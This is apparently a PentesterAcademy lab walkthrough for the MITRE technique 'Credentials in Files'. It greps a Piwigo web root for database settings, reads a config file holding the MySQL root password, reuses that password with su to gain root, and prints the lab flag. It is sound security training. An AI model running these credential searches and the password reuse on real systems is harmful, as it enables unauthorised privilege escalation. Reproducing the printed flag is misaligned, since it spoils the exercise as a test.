

**ATTACK**

**DEFENSE**

by PentesterAcademy

<b>Name</b>	T1552.001: Credentials in Files
<b>URL</b>	<a href="https://www.attackdefense.com/challengedetails?cid=1582">https://www.attackdefense.com/challengedetails?cid=1582</a>
<b>Type</b>	MITRE ATT&CK Linux : Credential Access

**Important Note:** This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic.

**Objective:** Use the credentials to perform privilege escalation and retrieve the flag!

#### **Solution:**

This machine is for deploying web applications. So, check if any already present webapp has something interesting. Switch to html root folder.

```
student@attackdefense:~$  
student@attackdefense:~$ cd /var/www/html/  
student@attackdefense:/var/www/html$ ls -l  
total 320  
drwxr-xr-x  4 root root  4096 Jul  1 12:19 _data  
-rwxr-xr-x  1 root root  3009 Dec 17  2012 about.php  
-rwxr-xr-x  1 root root  5736 Dec 17  2012 action.php  
drwxr-xr-x  4 root root  4096 Dec 17  2012 admin  
-rwxr-xr-x  1 root root 11310 Dec 17  2012 admin.php  
-rwxr-xr-x  1 root root  2446 Dec 17  2012 category.php  
-rwxr-xr-x  1 root root 16367 Dec 17  2012 comments.php  
drwxr-xr-x  2 root root  4096 Dec 17  2012 doc  
-rwxr-xr-x  1 root root  6712 Dec 17  2012 feed.php  
drwxr-xr-x  2 root root  4096 Dec 17  2012 galleries  
-rwxr-xr-x  1 root root 17368 Dec 17  2012 i.php  
-rwxr-xr-x  1 root root  4415 Dec 17  2012 identification.php  
drwxr-xr-x  6 root root  4096 Dec 17  2012 include
```

Search for credentials by trying various options like username, password, db\_username, db\_password, db\_user etc.

In this case, db\_user worked.

**Command:** `grep -nr "db_user"`

```
student@attackdefense:/var/www/html$ grep -nr "db_user" .
./install.php:270:$conf['db_user'] = \'.dbuser.\';
./include/common.inc.php:115: $pwg_db_link = pwg_db_connect($conf['db_host'], $conf['db_user'],
./local/config/database.inc.php:4:$conf['db_user'] = 'root';
./admin/include/functions_upgrade.php:322: $pwg_db_link = pwg_db_connect($conf['db_host'], $conf['db_user'], $conf['db_password'], $conf['db_base']);
./i.php:412: $pwg_db_link = pwg_db_connect($conf['db_host'], $conf['db_user'],
./upgrade_feed.php:63: $pwg_db_link = pwg_db_connect($conf['db_host'], $conf['db_user'],
student@attackdefense:/var/www/html$
```

On opening the database.inc.php file, one can find the password for root user.

**Command:** `cat ./local/config/database.inc.php`

```
student@attackdefense:/var/www/html$ cat ./local/config/database.inc.php
<?php
$conf['dblayer'] = 'mysql';
$conf['db_base'] = 'piwigo';
$conf['db_user'] = 'root';
$conf['db_password'] = 'w3lc0m3t0adlabs';
$conf['db_host'] = 'localhost';

$prefixeTable = 'piwigo_';

define('PHPWG_INSTALLED', true);
define('PWG_CHARSET', 'utf-8');
define('DB_CHARSET', 'utf8');
define('DB_COLLATE', '');
?>student@attackdefense:/var/www/html$
```

Use this password to switch to root user using su command.

```
student@attackdefense:/var/www/html$  
student@attackdefense:/var/www/html$ su  
Password:  
root@attackdefense:/var/www/html# whoami  
root  
root@attackdefense:/var/www/html#
```

On getting the root user, retrieve flag located in /root directory.

```
root@attackdefense:/var/www/html# cd /root/  
root@attackdefense:~# ls -l  
total 4  
-rw-r--r-- 1 root root 33 Nov  2 14:49 flag  
root@attackdefense:~# cat flag  
760a582ebd219e2efb6dec173d416723  
root@attackdefense:~#
```

**Flag:** 760a582ebd219e2efb6dec173d416723